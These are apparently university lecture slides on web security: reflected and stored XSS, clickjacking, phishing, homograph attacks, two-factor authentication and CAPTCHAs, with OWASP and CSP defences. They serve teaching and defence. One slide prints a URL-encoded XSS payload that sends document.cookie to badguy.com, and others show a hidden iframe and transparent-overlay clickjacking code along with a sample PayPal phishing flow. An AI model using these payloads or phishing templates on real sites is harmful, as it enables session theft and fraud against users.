Reflections on XSS and User Interfaces
Two Major Types of XSS (Cross-Site Scripting)

- There are two main types of XSS attacks
- In a *stored* (or “persistent”) XSS attack, the attacker leaves their script lying around on mybank.com server
  - … and the server later unwittingly sends it to your browser
  - Your browser is none the wiser, and executes it within the same origin as the mybank.com server
- In a *reflected* XSS attack, the attacker gets you to send the mybank.com server a URL that has a Javascript script crammed into it …
  - … and the server echoes it back to you in its response
  - Your browser is none the wiser, and executes the script in the response within the same origin as mybank.com
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS

1. visit web site

Victim client

Attack Server

evil.com
Reflected XSS

1. Visit web site
2. Receive malicious page
Reflected XSS

1. visit web site
2. receive malicious page
3. click on link

Exact URL under attacker’s control

Attack Server

Victim client

Server Patsy/Victim

mybank.com

evil.com
Reflected XSS

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input

Victim client

Attack Server
- evil.com

Server Patsy/Victim
- mybank.com
Reflected XSS

1. Visit web site
2. Receive malicious page
3. Click on link
4. *echo* user input
5. Execute script embedded in input as though server meant us to run it

**Victim client**

**Attack Server**
- evil.com

**Server Patsy/Victim**
- mybank.com
Reflected XSS

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Perform attacker action

Victim client

Attack Server

Server Patsy/Victim

evil.com

mybank.com
Reflected XSS

1. Visit web site
2. Receive malicious page
3. Click on link
4. **echo** user input
5. Execute script embedded in input as though server meant us to run it
6. Send valuable data

And/Or:
- evil.com
- mybank.com
Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. \texttt{echo} user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
7. send valuable data

(“Reflected” XSS attack)

Attack Server

Server Patsy/Victim

evil.com

mybank.com
Example of How Reflected XSS Can Come About

- User input is echoed into HTML response.
- Example: search field
  - `search.php` responds with
    ```html
    <HTML>  <TITLE> Search Results </TITLE>  
    <BODY>
    Results for $term
     ....
    </BODY> </HTML>
    ```
- How does an attacker who gets you to visit evil.com exploit this?
Injection Via Script-in-URL

- Consider this link on evil.com: (properly URL encoded)
  - http://victim.com/search.php?
    term=%3Cscript%3E%20window.open%28%22http%3A%2F%2Fbadguy.com%3Fcookie%3D%22%2Bdocument.cookie%29%20%3C%2Fscript%3E

- What if user clicks on this link?
  - Browser goes to victim.com/search.php?
  - victim.com returns
    <HTML> Results for <script> ... </script> ...
  - Browser executes script in same origin as victim.com
    - Sends badguy.com cookie for victim.com
Reflected XSS: Summary

- **Target**: user with Javascript-enabled browser who visits a vulnerable web service that will include parts of URLs it receives in the web page output it generates
- **Attacker goal**: run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = Same Origin Policy)
- **Attacker tools**: ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies
- **Key trick**: server fails to ensure that output it generates does not contain embedded scripts other than its own
- **Notes**: (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) requires use of Javascript (generally)
And Hiding It All...

- Both CSRF and reflected XSS require the attacker's web page to run...
  - In a way not noticed by the victim
- Fortunately? iFrames to the rescue!
  - Have the "normal" page controlled by the attacker create a 1x1 iframe...
  - `<iframe height=1 width=1 src="http://www.evil.com/actual-attack">`
- This enables the attacker's code to run...
  - And the attacker can mass-compromise a whole bunch of websites... and just inject that bit of script into them
And Thus You Don't Even Need A Click!

- Bad guy compromises a bunch of sites...
  - All with a 1x1 iFrame pointing to badguy.com/exploitme
- badguy.com/exploitme is a rich page...
  - As many CSRF attacks as the badguy wants...
    - Encoded in image tags...
  - As many reflected XSS attacks as the badguy wants...
    - Encoded in still further iframes...
  - As many stored XSS attacks as the badguy wants...
    - If the attacker has pre-stored the XSS payload on the targets
- Why does this work?
  - Each iframe is treated just like any other web page
  - This sort of thing is *legitimate* web functionality, so the browser goes "Okeydoke..."
Protecting Servers Against XSS (OWASP)

- OWASP = Open Web Application Security Project
- Lots of guidelines, but 3 key ones cover most situations
  https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
- Never insert untrusted data except in allowed locations
- HTML-escape before inserting untrusted data into simple HTML element contents
- HTML-escape all non-alphanumeric characters before inserting untrusted data into simple attribute contents
Never Insert Untrusted Data Except In Allowed Locations

```html
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>       directly in a script
<!----...NEVER PUT UNTRUSTED DATA HERE----->             inside an HTML comment
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />             in an attribute name
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />            in a tag name
<style>...NEVER PUT UNTRUSTED DATA HERE...</style>       directly in CSS
```
HTML-Escape Before Inserting Untrusted Data into Simple HTML Element Contents

Rewrite 6 characters (or, better, use framework functionality):

- `&` --> `&amp;`
- `<` --> `&lt;`
- `>` --> `&gt;`
- `"` --> `&quot;`
- `'` --> `&#x27;`
- `/` --> `&#x2F;`
HTML-Escape Before Inserting Untrusted Data into Simple HTML Element Contents

```html
<body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body>
<div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>
any other normal HTML elements

Rewrite 6 characters (or, better, use framework functionality):

While this is a “default-allow” black-list, it’s one that’s been heavily community-vetted
HTML-Escape All Non-Alphanumeric Characters Before Inserting Untrusted Data into Simple Attribute Contents

```
<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..." content</div>
<div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...' content</div>
<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..." content</div>
```

“Simple”: width=, height=, value=...  
**NOT**: href=, style=, src=, onXXX= ...

Escape using `&#xHH`; where `HH` is hex ASCII code  
(or better, again, use framework support)
Web Browser Heuristic Protections...

- Web Browser developers are always in a tension
  - Functionality that may be critical for real web apps are often also abused
  - Why CSRF is particularly hard to stop:
    It uses the motifs used by real apps

- But reflected XSS is a bit unusual...
  - So modern web browsers may use heuristics to stop some reflected XSS:
    - E.g. recognize that `<script>` is probably bad in a URL, replace with `script`

- Not bulletproof however
  - See the Piazza post
Content Security Policy (CSP)

- **Goal:** prevent XSS by specifying a white-list from where a browser can load resources (Javascript scripts, images, frames, ...) for a given web page

- **Approach:**
  - Prohibits inline scripts
  - Content-Security-Policy HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources
  - E.g., script-src 'self' http://b.com; img-src *
  - Relies on browser to enforce

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Approach:

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E.g., `script-src 'self' http://b.com; img-src *`

Will not execute a script that's included inside a server’s response to some other query (required by XSS).

This says only allow scripts fetched explicitly ("<script src=URL></script>") from the server, or from http://b.com, but not from anywhere else.

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This says to allow images to be loaded from anywhere.

CSP resource directives

- **script-src** limits the origins for loading scripts
  - This is the critical one for us
- **img-src** lists origins from which images can be loaded.
- **connect-src** limits the origins to which you can connect (via XHR, WebSockets, and EventSource).
- **font-src** specifies the origins that can serve web fonts.
- **frame-src** lists origins can be embedded as frames
- **media-src** restricts the origins for video and audio.
- **object-src** allows control over Flash, other plugins
- **style-src** is script-src counterpart for stylesheets
- **default-src** define the defaults for any directive not otherwise specified
**Multiple XSS and/or CSRF vulnerabilities:** Canaries in the coal mine...

- If a site has one fixed XSS or CSRF vulnerability...
  - Eh, people make mistakes... And they fixed it
- If a site has *multiple* XSS or CSRF vulnerabilities...
  - They did *not* use a systematic toolkit to prevent these
  - And instead are doing piecemeal patching...
- It's like memory errors
  - If you squish them one at a time, there are probably lurking ones
  - If you squish them all, why worry?
Misleading Users

- Browser assumes clicks & keystrokes = clear indication of what the user wants to do
  - Constitutes part of the user’s trusted path
- Attacker can meddle with integrity of this relationship in different ways …
Navigate to www.berkeley.edu
Same, but smaller window. Mouse anywhere over the region points to https://crowdfund.berkeley.edu
Let's load www.berkeley.edu
<p>
<div>
<iframe src="http://www.berkeley.edu"
width=500 height=500"></iframe>
</div>
</p>

We load www.berkeley.edu in an iframe
Let's load www.berkeley.edu

Any Javascript in the surrounding window can't generate synthetic clicks in the framed window due to *Same Origin Policy*
Let's load www.berkeley.edu

Though of course if the *user themselves* clicks in the framed window, that “counts” …
Let's load www.berkeley.edu

https://crowdfund.berkeley.edu
Let's load www.berkeley.edu

<p>
<iframe src="http://www.berkeley.edu"
width=500 height=500></iframe>
</div>

We position the iframe to completely overlap with the outer frame
Let's load www.berkeley.edu

```html
<p>
<div style="position:absolute; top: 40px;">
<iframe src="http://www.berkeley.edu"
width=500 height=500></iframe>
</div>
</p>
```

We nudge the iframe’s position a bit below the top so we can see our outer frame text
Let's load www.berkeley.edu

Discover new Berkeley Crowdfunding projects today
Let's load www.berkeley.edu

<p class="bigspace">
<em>You <b>Know</b> You Want To Click Here!</em>
</p>

We add marked-up text to the outer frame, about 3 inches from the top
Let's load www.berkeley.edu

Discover new Berkeley Crowdfunding projects today
Let's load www.berkeley.edu, opacity 0.8

You Know You Want To Click Here!

We make the iframe partially transparent
Let's load www.berkeley.edu, opacity 0.8

https://crowdfund.berkeley.edu
Let's load www.berkeley.edu, opacity 0.1

<em>You Know You Want To Click Here!</em>

We make the iframe highly transparent
Let's load www.berkeley.edu, opacity 0.1

https://crowdfund.berkeley.edu
Let's load www.berkeley.edu, opacity 0

You Know You Want To Click Here!

We make the iframe entirely transparent
Let's load www.berkeley.edu, opacity 0

You Know You Want To Click Here!

Click anywhere over the region goes to https://crowdfund.berkeley.edu
Clickjacking

• By placing an invisible iframe of target.com over some enticing content, a malicious web server can fool a user into taking unintended action on target.com ...

• ... By placing a visible iframe of target.com under the attacker’s own invisible iframe, a malicious web server can “steal” user input – in particular, keystrokes
Clickjacking Defenses

- Require confirmation for actions (annoys users)
- Frame-busting: Web site ensures that its “vulnerable” pages can’t be included as a frame inside another browser frame
  - So user can’t be looking at it with something invisible overlaid on top …
  - … nor have the site invisible above something else
Attacker implements this by placing Twitter’s page in a “Frame” inside their own page. Otherwise they wouldn’t overlap.
Clickjacking Defenses

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• See OWASP’s “cheat sheet” for this: https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet
Clickjacking Defenses

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- See OWASP’s “cheat sheet” for this: https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet
- Another approach: HTTP X-Frame-Options header
  - Allows white-listing of what domains – if any – are allowed to frame a given page a server returns
Phishing...

• Leveraging the richness of web pages...
• And user training!
Date: Thu, 9 Feb 2017 07:19:40 -0600
From: PayPal <alert@gnc.cc>
Subject: [Important] : This is an automatic message to : (vern)
To: vern@aciri.org

Dear vern

We are making a few changes

Hello, Dear vern

Your Account Will Be Closed, Until We Here From You. To Update Your Information. Simply click on the web address below

What do I need to do?

Confirm My Account Now

How do I know this is not a Spoof email?

Spoof or 'phishing' emails tend to have generic greetings such as "Dearvern". Emails from PayPal will always address you by your first and last name.

Find out more here.

This email was sent to vern.

Copyright Â© 1999-2017. All rights reserved. PayPal Pte. Ltd. Address is 5 Temasek Boulevard #09-01 Suntec Tower 5 Singapore 038985
Dear vern we are making a few changes

Your Account Will Be Closed!

Hello, Dear vern

Your Account Will Be Closed, Until We Here From You. To Update Your Information. Simply click on the web address below

What do I need to do?

Confirm My Account No.

Help Contact Security

How do I know this is not a Spoof email?

Spoof or 'phishing' emails tend to have generic greetings such as "Dear vern". Emails from PayPal will always address you by your first and last name.

Find out more here.

This email was sent to vern.

Copyright © 1999-2017. All rights reserved. PayPal Pte. Ltd. Address is 5 Temasek Boulevard #09-01 Suntec Tower 5 Singapore 038985

Open "universalkids.com.br/re.php" in a new window
Log in to your PayPal account

Email Address:
gaga@lady.com

Password:
*********

Log In

Forgot your email or password?

Sign Up
Confirm Your personal PayPal Informations

Legal First Name

Legal Last Name

DD-MM-YYYY

Street Address

City

Country

State Zip Code

Mobile Phone Number

Continue
Confirm Your personal PayPal Informations

Stefani Joanne Angelina

Germanotta

28-03-1986

On Tour

City

United States of America

State

Zip Code

Mobile

Phone Number

Continue
Confirm your Credit Card

- Pay without exposing your card number to merchants
- No need to retype your card information when you pay

Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Confirm your Credit Card

- Pay without exposing your card number to merchants
- No need to retype your card information when you pay

Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Name of cardholder Stefani Joanne Angelina Germanotta

Zip Code

Country United States of America

Card Number Not Sure

Password

Submit
Please enter your Secure Code

Name of cardholder Stefani Joanne Angelina Germanotta

Zip Code

Country United States of America

Card Number Not Sure

Password $secret

Submit

Copyright © 1999-2017. All rights reserved.
Confirm your bank account

Join 72 million PayPal members who have confirmed a bank account.

- Pay with cash when you shop online
- Send money to friends in the U.S. for FREE
- Withdraw money from PayPal to your bank account

🔒 Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Confirm your bank account

Join 72 million PayPal members who have Confirmed a bank

• Pay with cash when you shop online
• Send money to friends in the U.S. for FREE
• Withdraw money from PayPal to your bank account

Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Your account is ready to use!

Shop, sell things, and transfer money with PayPal now.

Go shopping
Shop safer online and in stores just look for the PayPal logo when you check out.

Sell something
Sell on eBay or your website. Get paid instantly, securely.

Transfer money
Pay a friend back for lunch. Raise money for a group gift. It’s fast and easy.

Buy
Sell
Transfer
The Problem of Phishing

- Arises due to mismatch between reality & user’s:
  - Perception of how to assess legitimacy
  - Mental model of what attackers can control
    - Both Email and Web

- Coupled with:
  - Deficiencies in how web sites authenticate
    - In particular, “replayable” authentication that is vulnerable to theft

- Attackers have many angles …
Homograph Attacks

- International domain names can use international character set
  - E.g., Chinese contains characters that look like / . ? =

- **Attack**: Legitimately register var.cn …
- … buy legitimate set of HTTPS certificates for it …
- … and then create a subdomain:
  
  ```
  www.pnc.com/webapp/unsec/homepage.var.cn
  ```

This is one subdomain
Check for a padlock?
Check for “green glow” in address bar?
Check for Everything?
"Browser in Browser"

Apparent browser is just a fully interactive image generated by Javascript running in real browser!
So Why Does This Work?

- Because users are stupid?
Why does phishing work?

- User mental model vs. reality
- Browser security model too hard to understand!
- The easy path is insecure; the secure path takes extra effort
- Risks are rare
- Users tend not to suspect malice; they find benign interpretations and have been acclimated to failure
- And as a bonus, we actively train users to be phished!
Two Factor

• Because people chose bad passwords...
  • Add a **second** authentication path
• Relies on the user having access to something orthogonal to the password
  • Cellphone or email
  • Security Token/Authenticator App
  • FiDo U2F security key
Second Communication Channel...

- Provide the "security code" (4-8 digits) transmitted "out of band"
  - Cellphone SMS
  - Email
- Still vulnerable to **transient** phishing (a **relay attack**)...
  - Phishing site **immediately** tries to log in as the user...
  - Sees 2-factor is in use
  - Presents a fake "2-Factor" challenge
    - Passes the result to the site...
    - BOOM, logged in!
Authentication Tokens/Apps

- RSA Securid and Google Authenticator
  - Token and site share a common secret key
- Display first 6 digits of: HMAC(K, time)
  - Time rounded to 30 seconds
- Verify:
  - If code == HMAC(K, time) or HMAC(K, time+30) or HMAC(K, time-30), OK
- Still vulnerable to phishing!
- But code is relatively small...
  - Assumes some limit on brute-forcing: After 3+ tries, start adding delays
FiDo U2F

- Two operations:
  - Register Site:
    - Generate a *new* public/private key pair and present it to the site
  - Verify:
    - Given a nonce, site, and key ID, sign the nonce and return it
      - Nonce (provided by server) prevents *replay attack*
      - Site is verified as allowed for the key ID, prevents *relay attack*

- Both operations require user presence
  - Can't happen in the background, need to "touch" the key

- Can't be phished!
  - A phishing site will fail the site verification
CAPTCHAs: How Lazy Cryptographers Do AI

- The whole point of CAPCHAs is not just to solve "is this human"...
  - But leverage bad guys to force them to solve hard problems
  - Primarily focused on machine vision problems

![Comic strip showing a system for rating comments as "constructive" or "not constructive" to train automated bots. The text on the image reads:

Spammers are breaking traditional CAPTCHAs with AI, so I've built a new system. It asks users to rate a slate of comments as "constructive" or "not constructive." Then it has them reply with comments of their own, which are later rated by other users. But what will you do when spammers train their bots to make automated constructive and helpful comments?

Mission. Fucking. Accomplished.](image)
By clicking the "Create My Account" button below, I certify that I have read and agree to the Yahoo! Terms of Service, Yahoo! Privacy Policy and Communication Terms of Service, and to receive account related communications from Yahoo! electronically. Yahoo! automatically identifies items such as words, links, people, and subjects from your Yahoo! communications services to deliver product features and relevant advertising.
CAPTCHAs

- **Reverse Turing Test**: present “user” a challenge that’s easy for a human to solve, hard for a program to solve
- One common approach: distorted text that’s difficult for character-recognition algorithms to decipher
Figure 1: Examples of CAPTCHAs from various Internet properties.

Problems?
Verify Your Registration

Enter the code shown: [Box]

This helps prevent automated registrations.

Please enter the code you see below. what's this?

Qualifying question

Just to prove you are a human, please answer the following math challenge:

Q: Calculate:

\[ \frac{\partial}{\partial x} \left[ 4 \sin \left( 7 \cdot x - \frac{\pi}{2} \right) \right] \bigg|_{x=1} \]

A: [Box]

Note: If you do not know the answer to this question, reload the page and you’ll get another question.
Issues with CAPTCHAs

- Inevitable arms race: as solving algorithms get better, defense erodes

Figure 4: Examples of images from the hard CAPTCHA puzzles dataset.
Issues with CAPTCHAs

• Inevitable arms race: as solving algorithms get better, defense erodes, or gets harder for humans
Asirra

Asirra is a human interactive proof that asks users to identify photos of cats and dogs. It's powered by over two million photos from our unique partnership with Petfinder.com. Protect your web site with Asirra — free!
Issues with CAPTCHA

• Inevitable arms race: as solving algorithms get better, defense erodes, or gets harder for humans

• Accessibility: not all humans can see
• Granularity: not all bots are bad (e.g., crawlers)
Issues with CAPTCHAs, con’t

- Deepest problem: CAPTCHAs are inherently vulnerable to outsourcing attacks
  - Attacker gets real humans to solve them
Using the advertisement in blogs, social networks, etc significantly increases the efficiency of the business. Many services use pictures called CAPTCHAs in order to prevent automated use of these services.

Solve CAPTCHAs with the help of this portal, increase your business efficiency now!

**Follow these steps:**
- Register
- Login and follow the link inside to load funds to your account.
- Your request will be processed ASAP.

*You pay for correctly recognized CAPTCHAs only*

The price is $2 for 1000 CAPTCHAs. We accept payments from $10.

If you use a third-party software the price could be different, contact the software vendor for more information.

---

Hi! I want to bypass captcha from my bots. Bots have different IPs. Is it possible to use your service from many IPs?

We have no restrictions about IP: with DeCaptcha you can bypass CAPTCHA from as many IPs as you need.

Hi. I need to crack captcha. Do you provide a captcha decoders?

DeCaptcha CAPTCHA solving is processed by humans. So the accuracy is much better than an automated captcha solver ones.
<table>
<thead>
<tr>
<th>Language</th>
<th>Example</th>
<th>AG</th>
<th>BC</th>
<th>BY</th>
<th>CB</th>
<th>DC</th>
<th>IT</th>
<th>All</th>
</tr>
</thead>
<tbody>
<tr>
<td>English</td>
<td>one two three</td>
<td>51.1</td>
<td>37.6</td>
<td>4.76</td>
<td>40.6</td>
<td>39.0</td>
<td>62.0</td>
<td>39.2</td>
</tr>
<tr>
<td>Chinese (Simp.)</td>
<td>一 二 三</td>
<td>48.4</td>
<td>31.0</td>
<td>0.00</td>
<td>68.9</td>
<td>26.9</td>
<td>35.8</td>
<td>35.2</td>
</tr>
<tr>
<td>Chinese (Trad.)</td>
<td>一 二 三</td>
<td>52.9</td>
<td>24.4</td>
<td>0.00</td>
<td>63.8</td>
<td>30.2</td>
<td>33.0</td>
<td>34.1</td>
</tr>
<tr>
<td>Spanish</td>
<td>uno dos tres</td>
<td>1.81</td>
<td>13.8</td>
<td>0.00</td>
<td>2.90</td>
<td>7.78</td>
<td>56.8</td>
<td>13.9</td>
</tr>
<tr>
<td>Italian</td>
<td>uno due tre</td>
<td>3.65</td>
<td>8.45</td>
<td>0.00</td>
<td>4.65</td>
<td>5.44</td>
<td>57.1</td>
<td>13.2</td>
</tr>
<tr>
<td>Tagalog</td>
<td>ล้่า ด้ํา ต้าตโท</td>
<td>0.00</td>
<td>5.79</td>
<td>0.00</td>
<td>0.00</td>
<td>7.84</td>
<td>57.2</td>
<td>11.8</td>
</tr>
<tr>
<td>Portuguese</td>
<td>um dois tres</td>
<td>3.15</td>
<td>10.1</td>
<td>0.00</td>
<td>1.48</td>
<td>3.98</td>
<td>48.9</td>
<td>11.3</td>
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Table 2: Percentage of responses from the services with correct answers for the language CAPTCHAs.
These Days:
CAPTCHAs are ways of \textit{training} AI systems

\begin{quote}
\begin{center}
\textbf{TO COMPLETE YOUR REGISTRATION, PLEASE TELL US WHETHER OR NOT THIS IMAGE CONTAINS A STOP SIGN:}
\end{center}
\hspace{2cm}
\begin{center}
\textbf{NO} \hspace{0.5cm} \textbf{YES}
\end{center}
\begin{center}
\textbf{ANSWER QUICKLY—OUR SELF-DRIVING CAR IS ALMOST AT THE INTERSECTION.}
\end{center}
\begin{center}
\textbf{SO MUCH OF “AI” IS JUST FIGURING OUT WAYS TO OFFLOAD WORK ONTO RANDOM STRANGERS.}
\end{center}
\end{quote}